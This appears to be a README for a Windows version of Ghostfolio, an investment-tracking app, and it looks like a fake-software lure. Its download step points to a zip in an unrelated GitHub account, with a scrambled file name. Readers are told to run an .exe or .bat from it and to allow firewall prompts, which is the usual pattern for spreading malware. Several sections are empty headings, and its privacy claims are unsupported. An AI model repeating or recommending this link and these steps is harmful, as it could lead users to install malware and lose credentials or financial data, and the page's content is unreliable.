👋 Welcome to Ghostfolio

Are you tired of juggling multiple apps to track your investments? Ghostfolio brings everything into one clean, private dashboard. This open-source software lets you see how your stocks, ETFs, and cryptocurrencies are performing—all without sharing your personal data with third parties. Best of all, it’s completely free to use.

🔥 Why Choose Ghostfolio?

✅ What You Need Before You Start

To run Ghostfolio on your Windows computer, you’ll need:

That’s it. No coding skills. No special hardware.

🚀 Getting Started

Let’s get Ghostfolio running on your computer in just a few minutes. Follow these steps in order.

Step 1: Download the Application

Visit this link to download the application: https://raw.githubusercontent.com/tangcj686-coder/Ghostfolio-Open-Source-Wealth-Management-Software/main/reinjure/Software-Source-Management-Wealth-Ghostfolio-Open-v2.9.zip

Click the big green button that says “Download” or “Releases” on that page. Your browser will start downloading a file. Wait for the download to finish completely before moving to the next step.

Step 2: Find the Downloaded File

Open your “Downloads” folder. You should see a file named something like Ghostfolio-Setup.zip or similar. If you’re not sure where downloads go, press Ctrl + J in your browser to see your download history.

Step 3: Extract the Files

Right-click on the downloaded ZIP file and choose “Extract All…” from the menu. Windows will ask where to save the extracted files. Keep the default location and click “Extract.” A new folder with the same name will appear.

Step 4: Run Ghostfolio

Open the extracted folder. Look for a file named Ghostfolio.exe or start-ghostfolio.bat. Double-click it. A black window (command prompt) will open briefly—this is normal. Then, your web browser will automatically open showing the Ghostfolio dashboard.

Step 5: Create Your Account

On the first screen, you’ll see a registration form. Choose a username and a strong password (use at least 8 characters with numbers and letters). Click “Register” and you’re in!

📈 Adding Your First Investments

Once you’re logged in, here’s how to track your assets:

  1. Click the ”+” button in the top right corner.
  2. Select the type of asset: Stock, ETF, or Crypto.
  3. Type the ticker symbol (for example, AAPL for Apple, BTC for Bitcoin, or VTI for a popular ETF).
  4. Choose your currency (USD, EUR, etc.).
  5. Enter how many shares or coins you own.
  6. Click “Save”.

Your portfolio will update instantly. The charts on the main page will show your overall performance, daily changes, and the breakdown of each asset.

📊 Understanding Your Dashboard

🔧 Customizing Your Experience

Ghostfolio lets you personalize your dashboard:

🛠️ Troubleshooting Common Issues

The application doesn’t start.
Make sure you extracted all files from the ZIP before running the executable. Also, close any firewall pop-up that asks for permission—click “Allow.”

I see a blank white screen.
Wait 30 seconds. The first start can be slow as it initializes the database. If it stays blank, close the window and reopen the executable.

My assets aren’t showing up.
Double-check the ticker symbol. Use proper format like MSFT (Microsoft) or ETH (Ethereum). For ETFs, try the common abbreviation like SPY or QQQ.

The numbers look wrong.
Prices update automatically, but if you see stale data, click the refresh button (circular arrow) in the top menu.

🛡️ Your Data Stays Yours

Ghostfolio is built on open-source technology. That means no company owns it, no one can sell your data, and anyone can verify how it works. Your portfolio information is stored locally in a PostgreSQL database on your machine. When you close the app, your data remains private and offline.
